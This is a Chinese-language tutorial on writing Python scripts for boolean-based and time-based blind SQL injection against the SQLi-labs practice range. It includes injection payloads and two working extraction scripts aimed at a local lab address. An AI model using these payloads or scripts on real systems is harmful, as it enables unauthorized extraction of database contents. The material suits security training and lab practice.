python編寫SQL自動注入腳本
本篇文章介紹使用python編寫SQL自動注入腳本,主要是進行get盲注。不同於報錯注入,在進行盲注的時候,通常不能通過頁面返回內容獲得信息,如表名,字段名等,而是需要通過構造SQL語句注入,查看頁面返回信息或響應時間來判斷。這里實現兩種盲注方式,基於布爾的盲注和基於時間的盲注。
目錄
-
搭建環境
-
基於布爾的盲注
-
基於時間的盲注
一、搭建環境
- 搭建SQLi-labs靶場環境,網上也有很多教程,可以參照sqli-labs下載與安裝進行搭建。
二、基於布爾的盲注
使用sqli-labs中的Less-8進行實驗,進行判斷數據庫名。
- 首先判斷數據庫名長度,使用
?id=1' and length(database())=1 --+
判斷數據庫名長度是否為1,返回異常。
- 依次進行判斷,當使用
?id=1' and length(database())=8 --+
時,返回成功,說明數據庫名長度是否為8。
- 當得到數據庫名長度后,使用
?id=1' and substr(database(),1,1)='字母'--+
判斷數據庫名。
代碼實現
import requests
import string
url = "http://10.16.53.180/newsqli/Less-8/"
normalHtmlLen = len(requests.get(url=url+"?id=1").text)
print("The len of HTML:"+str(normalHtmlLen))
dbNameLen = 0
while True:
dbNameLen_url = url + "?id=1'+and+length(database())="+str(dbNameLen)+"--+"
print(dbNameLen_url)
if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
print("The len of dbName:"+str(dbNameLen))
break
if dbNameLen == 30:
print("Error!")
break
dbNameLen += 1
dbName = ""
for i in range(1, dbNameLen+1):
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+substr(database(),"+str(i)+",1)='"+a+"'--+"
print(dbName_url)
if len(requests.get(dbName_url).text) == normalHtmlLen:
dbName += a
print(dbName)
break
- 運行結果
- 可以看到數據庫名長度為8,第一個字母為"s",接下來再判斷剩下的字符,得到數據庫名為security。
三、基於時間的盲注
使用sqli-labs中的Less-9進行實驗,進行判斷數據庫名。
- 首先依然是判斷數據庫名長度,使用
?id=1' and if(length(database())=8,sleep(5),1) --+
,根據響應時間確定數據庫名長度為8。
- 使用
?id=1' and if(substr(database(),1,1)='s',sleep(5),1) --+
,根據響應時間確定數據庫名第一個字符為“s”,再依次對數據庫名第1~8字符進行判斷,最終得到數據庫名稱。
代碼實現
import requests
import string
url = "http://10.16.53.180/newsqli/Less-9/"
def timeOut(url):
try:
res = requests.get(url, timeout=3)
return(res.text)
except Exception as e:
return("timeout")
daNnamelen = 0
while True:
daNnamelen +=1
dbNameLen_url = url + "?id=1'+and+if(length(database())="+str(daNnamelen)+",sleep(5),1)--+"
print(dbNameLen_url)
if "timeout" in timeOut(dbNameLen_url):
print(daNnamelen)
break
if daNnamelen == 30:
print("error!")
break
dbName = ""
for i in range(1, 9):
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+if(substr(database(),"+str(i)+",1)='"+a+"',sleep(5),1)--+"
print(dbName_url)
if "timeout" in timeOut(dbName_url):
dbName += a
print(dbName)
break
- 運行結果
- 可以看到數據庫名長度為8,第一個字母為"s",接下來再判斷剩下的字符,得到數據庫名為security,如果想繼續判斷數據庫使用的表名、字段名和字段值可以參考使用C#winform編寫滲透測試工具--SQL注入,不過是使用盲注的方式獲取。